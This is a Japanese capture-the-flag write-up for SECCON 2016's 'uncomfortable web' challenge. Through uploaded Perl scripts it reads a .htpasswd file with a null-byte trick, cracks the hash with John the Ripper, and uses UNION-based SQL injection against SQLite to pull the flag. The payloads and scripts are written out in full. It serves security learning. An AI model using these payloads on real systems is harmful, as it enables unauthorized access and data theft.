SECCON 2016 Online CTF Writeup - uncomfortable web

  • 2
    いいね
  • 0
    コメント

uncomfortable web(Web, 300pts)

Attack to http://127.0.0.1:81/authed/ through the uploaded script
Get the flag in the database!

自作のスクリプトファイルをアップロードすると、リモートサーバ上で実行できます。
ローカルからのみアクセス可能な http://127.0.0.1:81/にアタックし、flagを探す問題です。
Shell, Perl, Python が選択でき、今回は Perl を使用しました。

uncomfortableweb.png

サンプルスクリプト

http://127.0.0.1:81/ にリクエストを送信するサンプルが配布されていました。
そのままアップロードして実行してみます。

sample
#!/usr/bin/perl
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://127.0.0.1:81/');
my $res = $ua->request($req);
print $res->content;
sample-result
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

出力されたHTMLをブラウザに読み込ませるとこうなります。

01.png

/authed にアクセス

はじめに、authed ディレクトリにアクセスを試みました。

01
#!/usr/bin/perl
use LWP::UserAgent;
use DBI;
my $ua = LWP::UserAgent->new;

my $url = 'http://127.0.0.1:81/authed/';
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
print $res->content;

01.png

401で弾かれてしまいます。BASIC認証を通す必要がありそうです。

select.cgi にアクセス

ファイル select.cgi にアクセスすると、a, b のドロップダウンが出てきました。

02
# 変更部分以外のソースは省略します。
$url = 'http://127.0.0.1:81/select.cgi';
02-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>

02.png

select.cgi?txt=a にアクセス

a を選択した際のURLにアクセスすると、テキストファイルのようなものが表示されました。

03
$url = 'http://127.0.0.1:81/select.cgi?txt=a';

03.png

select.cgi?txt=b にアクセス

b を選択した際のURLにアクセスすると、同じくテキストファイルのようなものが表示されました。

04
$url = 'http://127.0.0.1:81/select.cgi?txt=b';
04-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
</body></html>

select.cgi?txt=c にアクセス

a b と来ると、自然と c も試したくなるのでアクセスしてみます。
こちらも同じく、何やらテキストが表示されました。

05
$url = 'http://127.0.0.1:81/select.cgi?txt=c';
05-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
---<br>
Do you want to enter authed/ directory?<br>
---<br>
</body></html>

select.cgi の動作について

select.cgi のこれまでの動作をまとめてみます。

パラメータ 表示されたテキスト
txt=a authed/a.txt
txt=b authed/b.txt
txt=c authed/c.txt (?)

パラメータ txt=XXXXX を渡すことで、authed/XXXXX.txt を開けることが推測できます。

authedディレクトリのBASIC認証情報を取得

BASIC認証に使用される .htpasswd と呼ばれるファイルを探してみます。
URLを次のように指定することで authed/.htpasswd を読み込むことができました。

06
$url = 'http://127.0.0.1:81/select.cgi?txt=.htpasswd%00';
06-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
keigo:LdnoMJCeVy.SE<br>
</body></html>

末尾を %00 とすることで、終端文字 \0 と認識させています。
終端文字を利用すると、末尾に付加される .txt を無視させることが可能です。

パラメータ 開くファイル名
txt=a authed/a.txt
txt=.htpasswd authed/.htpasswd.txt
txt=.htpasswd%00 authed/.htpasswd

.htpasswd を解析

取得できた keigo:LdnoMJCeVy.SE を解析します。
John the Ripper を使用すると、ユーザ名 keigo 、パスワード test であることが判明しました。

> john.exe htpasswd
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
test             (keigo)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 230500  trying: orange - horses
Use the "--show" option to display all of the cracked passwords reliably

authed ディレクトリにアクセス

BASIC認証の情報を入手できたため、再度 authed ディレクトリにアクセスを試みます。

07
(前略)
$url = "http://127.0.0.1:81/authed/";
$req = HTTP::Request->new(GET => $url);
$req->authorization_basic('keigo', 'test');
(後略)

06.png

直下に sqlinj ディレクトリがあるようです。

auhted/sqlinj ディレクトリにアクセス

authed/sqlinj ディレクトリにアクセスしてみます。

08
# 変更部分以外のソースは省略します。
$url = "http://127.0.0.1:81/authed/sqlinj/";

08.png

1.cgi100.cgi まで同一サイズのファイルが格納されていました。なぜ100個も……。

authed/sqlinj/1.cgi にアクセス

authed/sqlinj/1.cgi にアクセスすると、?no=4822267938 へのリンクが現れました。

09
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi";
09-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>

09.PNG

authed/sqlinj/1.cgi?no=4822267938 にアクセス

先ほどの no パラメータを付加してアクセスすると、ISBNコード等が表示されました。

10
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938";
10-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>

10.png

ISBNコード=書籍 ですので、Amazonで検索してみます。……どうやら宣伝(?)のようです。
http://amazon.jp/dp/4822267938 → 絶対わかるセスペ27秋 2016年春版

SQLインジェクションを試みる

Get the flag in the database!

出題文を振り返ると、flagはデータベース内にあるようです。
先ほどのISBN情報がDBで管理されていると仮定し、SQLインジェクションを試しました。

11
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=123' OR 1=1 --";
11-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>

失敗のようです。パラメータを指定しなかった場合と同一のHTMLが返ってきました。

100個のCGIに対して攻撃を試みる

同ディレクトリ内に存在する100個のCGIに対して、同じリクエストを投げてみました。

12
for ($i = 1; $i <= 100; $i++){
    print "--- $i ---\n";
    $url = "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=123' OR 1=1 --";
    $req = HTTP::Request->new(GET => $url);
    $req->authorization_basic('keigo', 'test');
    $res = $ua->request($req);
    print $res->content . "\n\n";
}
12-result(抜粋)
--- 72 ---
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267865<br>
ISBN-13: 978-4822267865<br>
PUBLISH: 2015/2/20<p>
ISBN-10: 4822267911<br>
ISBN-13: 978-4822267919<br>
PUBLISH: 2015/8/27<p>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>

http://127.0.0.1:81/authed/sqlinj/72.cgi のみ、テーブル内の全レコードを返してきました。

私のSQLインジェクション力が不足していたため、以後の手順は、他の方の解法を参考にしつつ解き進めた内容となっています。

72.cgi を利用してDB内を探索

SQLiteと仮定した場合、sqlite_master からDB内のテーブル一覧を入手することが可能です。

出力されるカラムが3つ (ISBN-10, ISBN-13, PUBLISH) のため、カラム数を揃えた上で UNION を使用して sqlite_master を参照します。

13
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT name, sql, 0 FROM sqlite_master --";
13-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: books<br>
ISBN-13: CREATE TABLE books (isbn10,isbn13,date)<br>
PUBLISH: 0<p>
ISBN-10: f1ags<br>
ISBN-13: CREATE TABLE f1ags (f1ag)<br>
PUBLISH: 0<p>
</body></html>

books テーブルと f1ags テーブルが存在していることが判明しました。

flagを取得

先ほど判明した f1ags テーブルの f1ag カラムを取得します。
カラム数を揃えることを忘れずに。

14
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT f1ag, 0, 0 FROM f1ags --";
14-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: SECCON{I want to eventually make a CGC web edition... someday...}<br>
ISBN-13: 0<br>
PUBLISH: 0<p>
</body></html>
flag
SECCON{I want to eventually make a CGC web edition... someday...}

以上です。